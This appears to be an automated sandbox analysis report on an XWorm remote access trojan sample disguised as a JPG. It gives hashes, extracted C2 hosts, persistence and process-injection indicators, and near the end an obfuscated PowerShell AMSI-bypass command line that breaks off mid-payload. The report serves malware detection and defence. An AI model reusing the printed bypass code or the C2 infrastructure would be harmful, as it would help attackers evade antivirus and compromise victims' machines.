xworm | de395b853803c92eba20833640fab2d399d7c305666c49944d08c148a97779d9

General

Target

download (1).jpg
Size

19KB
MD5

11c853fc26560b1eda4cdcfd13c3498e
SHA1

a468d5be722b223abb4181ead392987b65c0700e
SHA256

de395b853803c92eba20833640fab2d399d7c305666c49944d08c148a97779d9
SHA512

302127d59bf0a9cf79f1152abbff313f1e60260117fc5d114fe4ad198cd3d5883158d453d8cc3b3718f016d8d279e9bbae45c7a99938aa48f9535bcef77d6dd1
SSDEEP

384:54VrXGg9+ViIcgmcOGzjqhr/IBUmLsk2t3/RZIYQIs6N2Us4PQY7sNrUSqhxrto5:5cGgRIJmszjqI72IjUBsN8jl5Q

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

news-accept.gl.at.ply.gg:24727

wiz.bounceme.net:6000

Mutex

ew0h9RSfAfyU3YO4

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\x4s.exe	family_xworm
behavioral1/memory/1020-62-0x0000000000960000-0x000000000096E000-memory.dmp	family_xworm
behavioral1/memory/1020-820-0x000000001B450000-0x000000001B45E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2424 created 584 2424 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

3 4180 powershell.exe
4 4180 powershell.exe
7 4180 powershell.exe
9 4180 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

svchost32.exex4s.exex4Shellcode.exe

pid process

824 svchost32.exe
1020 x4s.exe
5064 x4Shellcode.exe

description	pid	process	target process
PID 2424 created 584	2424	powershell.EXE	winlogon.exe

flow	pid	process
3	4180	powershell.exe
4	4180	powershell.exe
7	4180	powershell.exe
9	4180	powershell.exe

pid	process
824	svchost32.exe
1020	x4s.exe
5064	x4Shellcode.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

x4s.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4s = "C:\\Users\\Admin\\AppData\\Roaming\\x4s.exe"	x4s.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

8 raw.githubusercontent.com
9 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

flow	ioc
12	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

OfficeClickToRun.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2424 set thread context of 1144 2424 powershell.EXE dllhost.exe
Drops file in Windows directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\svchost32.exe powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

description	pid	process	target process
PID 2424 set thread context of 1144	2424	powershell.EXE	dllhost.exe

description	ioc	process
File created	C:\Windows\svchost32.exe	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 57 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 15 Jun 2024 09:21:03 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={C2FBEA2B-F513-451D-B832-98713A0C28F0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1718443262"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4180	powershell.exe
4180	powershell.exe
4180	powershell.exe
2424	powershell.EXE
2424	powershell.EXE
2424	powershell.EXE
2424	powershell.EXE
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
2960	wmiprvse.exe
2960	wmiprvse.exe
2960	wmiprvse.exe
2960	wmiprvse.exe
2960	wmiprvse.exe
2960	wmiprvse.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe
1144	dllhost.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

powershell.exesvchost32.exex4s.exepowershell.EXEdllhost.exesvchost.exesvchost.exewmiprvse.exesvchost.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	824	svchost32.exe
Token: SeDebugPrivilege	1020	x4s.exe
Token: SeDebugPrivilege	2424	powershell.EXE
Token: SeDebugPrivilege	2424	powershell.EXE
Token: SeDebugPrivilege	1144	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2140	svchost.exe
Token: SeIncreaseQuotaPrivilege	2140	svchost.exe
Token: SeSecurityPrivilege	2140	svchost.exe
Token: SeTakeOwnershipPrivilege	2140	svchost.exe
Token: SeLoadDriverPrivilege	2140	svchost.exe
Token: SeSystemtimePrivilege	2140	svchost.exe
Token: SeBackupPrivilege	2140	svchost.exe
Token: SeRestorePrivilege	2140	svchost.exe
Token: SeShutdownPrivilege	2140	svchost.exe
Token: SeSystemEnvironmentPrivilege	2140	svchost.exe
Token: SeUndockPrivilege	2140	svchost.exe
Token: SeManageVolumePrivilege	2140	svchost.exe
Token: SeAuditPrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2140	svchost.exe
Token: SeIncreaseQuotaPrivilege	2140	svchost.exe
Token: SeSecurityPrivilege	2140	svchost.exe
Token: SeTakeOwnershipPrivilege	2140	svchost.exe
Token: SeLoadDriverPrivilege	2140	svchost.exe
Token: SeSystemtimePrivilege	2140	svchost.exe
Token: SeBackupPrivilege	2140	svchost.exe
Token: SeRestorePrivilege	2140	svchost.exe
Token: SeShutdownPrivilege	2140	svchost.exe
Token: SeSystemEnvironmentPrivilege	2140	svchost.exe
Token: SeUndockPrivilege	2140	svchost.exe
Token: SeManageVolumePrivilege	2140	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2140	svchost.exe
Token: SeIncreaseQuotaPrivilege	2140	svchost.exe
Token: SeSecurityPrivilege	2140	svchost.exe
Token: SeTakeOwnershipPrivilege	2140	svchost.exe
Token: SeLoadDriverPrivilege	2140	svchost.exe
Token: SeSystemtimePrivilege	2140	svchost.exe
Token: SeBackupPrivilege	2140	svchost.exe
Token: SeRestorePrivilege	2140	svchost.exe
Token: SeShutdownPrivilege	2140	svchost.exe
Token: SeSystemEnvironmentPrivilege	2140	svchost.exe
Token: SeUndockPrivilege	2140	svchost.exe
Token: SeManageVolumePrivilege	2140	svchost.exe
Token: SeDebugPrivilege	2960	wmiprvse.exe
Token: SeAuditPrivilege	1344	svchost.exe
Token: SeAuditPrivilege	2372	svchost.exe
Token: SeAuditPrivilege	2372	svchost.exe
Token: SeShutdownPrivilege	3472	Explorer.EXE
Token: SeCreatePagefilePrivilege	3472	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exesvchost32.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 4868 wrote to memory of 4180	4868	cmd.exe	powershell.exe
PID 4868 wrote to memory of 4180	4868	cmd.exe	powershell.exe
PID 4180 wrote to memory of 824	4180	powershell.exe	svchost32.exe
PID 4180 wrote to memory of 824	4180	powershell.exe	svchost32.exe
PID 824 wrote to memory of 1020	824	svchost32.exe	x4s.exe
PID 824 wrote to memory of 1020	824	svchost32.exe	x4s.exe
PID 824 wrote to memory of 5064	824	svchost32.exe	x4Shellcode.exe
PID 824 wrote to memory of 5064	824	svchost32.exe	x4Shellcode.exe
PID 824 wrote to memory of 5064	824	svchost32.exe	x4Shellcode.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 2424 wrote to memory of 1144	2424	powershell.EXE	dllhost.exe
PID 1144 wrote to memory of 584	1144	dllhost.exe	winlogon.exe
PID 1144 wrote to memory of 640	1144	dllhost.exe	lsass.exe
PID 1144 wrote to memory of 736	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 908	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1008	1144	dllhost.exe	dwm.exe
PID 1144 wrote to memory of 64	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 696	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 808	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1036	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1092	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1192	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1228	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1240	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1248	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1388	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1456	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1464	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1548	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1560	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1596	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1688	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1744	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1788	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1800	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1876	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1888	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 1968	1144	dllhost.exe	spoolsv.exe
PID 1144 wrote to memory of 1344	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2140	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2352	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2360	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2372	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2400	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2608	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2668	1144	dllhost.exe	sysmon.exe
PID 1144 wrote to memory of 2688	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2712	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2768	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 2848	1144	dllhost.exe	unsecapp.exe
PID 1144 wrote to memory of 3192	1144	dllhost.exe	sihost.exe
PID 1144 wrote to memory of 3208	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 3288	1144	dllhost.exe	taskhostw.exe
PID 1144 wrote to memory of 3328	1144	dllhost.exe	svchost.exe
PID 1144 wrote to memory of 3472	1144	dllhost.exe	Explorer.EXE
PID 1144 wrote to memory of 3972	1144	dllhost.exe	RuntimeBroker.exe
PID 1144 wrote to memory of 4192	1144	dllhost.exe	DllHost.exe
PID 1144 wrote to memory of 5004	1144	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1008

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6fa664e9-7bf8-4c63-8d48-ffa29244f301}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1144

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:736

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:908

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:64

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1036

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ybxQbqPPqoYg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WDfCEqZRWGcESM,[Parameter(Position=1)][Type]$PxFmnEbHWK)$swnuMCPOZbb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+'ec'+'t'+''+'e'+''+[Char](100)+''+[Char](68)+'ele'+'g'+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+'l'+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s,P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'iC'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+'u'+''+'t'+''+'o'+'Cl'+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$swnuMCPOZbb.DefineConstructor(''+[Char](82)+'T'+'S'+'p'+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+''+'e'+','+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WDfCEqZRWGcESM).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$swnuMCPOZbb.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'li'+'c'+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+'g'+',N'+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'ua'+[Char](108)+'',$PxFmnEbHWK,$WDfCEqZRWGcESM).SetImplementationFlags('R'+'u'+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'an'+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $swnuMCPOZbb.CreateType();}$CPHeOstWDqdBn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+'s'+''+[Char](111)+''+[Char](102)+'t.'+[Char](87)+'i'+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+'t'+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+'e'+''+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$hexbTqdmsQPcYh=$CPHeOstWDqdBn.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+'o'+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FnJtYGCxuzgYKtDhNgN=ybxQbqPPqoYg @([String])([IntPtr]);$PTiTflNLjCNTEnSIDqGERg=ybxQbqPPqoYg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XrRDINIblKc=$CPHeOstWDqdBn.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+'n'+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$qaEtVnalTgnobk=$hexbTqdmsQPcYh.Invoke($Null,@([Object]$XrRDINIblKc,[Object](''+'L'+''+'o'+'ad'+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+[Char](114)+'yA')));$aHePNBOabitcjjMAm=$hexbTqdmsQPcYh.Invoke($Null,@([Object]$XrRDINIblKc,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+'u'+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$eWJNFpB=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qaEtVnalTgnobk,$FnJtYGCxuzgYKtDhNgN).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NdSuqciYcnScrxixT=$hexbTqdmsQPcYh.Invoke($Null,@([Object]$eWJNFpB,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+'S'+[Char](99)+'an'+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$ViSCkCFGcP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHePNBOabitcjjMAm,$PTiTflNLjCNTEnSIDqGERg).Invoke($NdSuqciYcnScrxixT,[uint32]8,4,[ref]$ViSCkCFGcP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3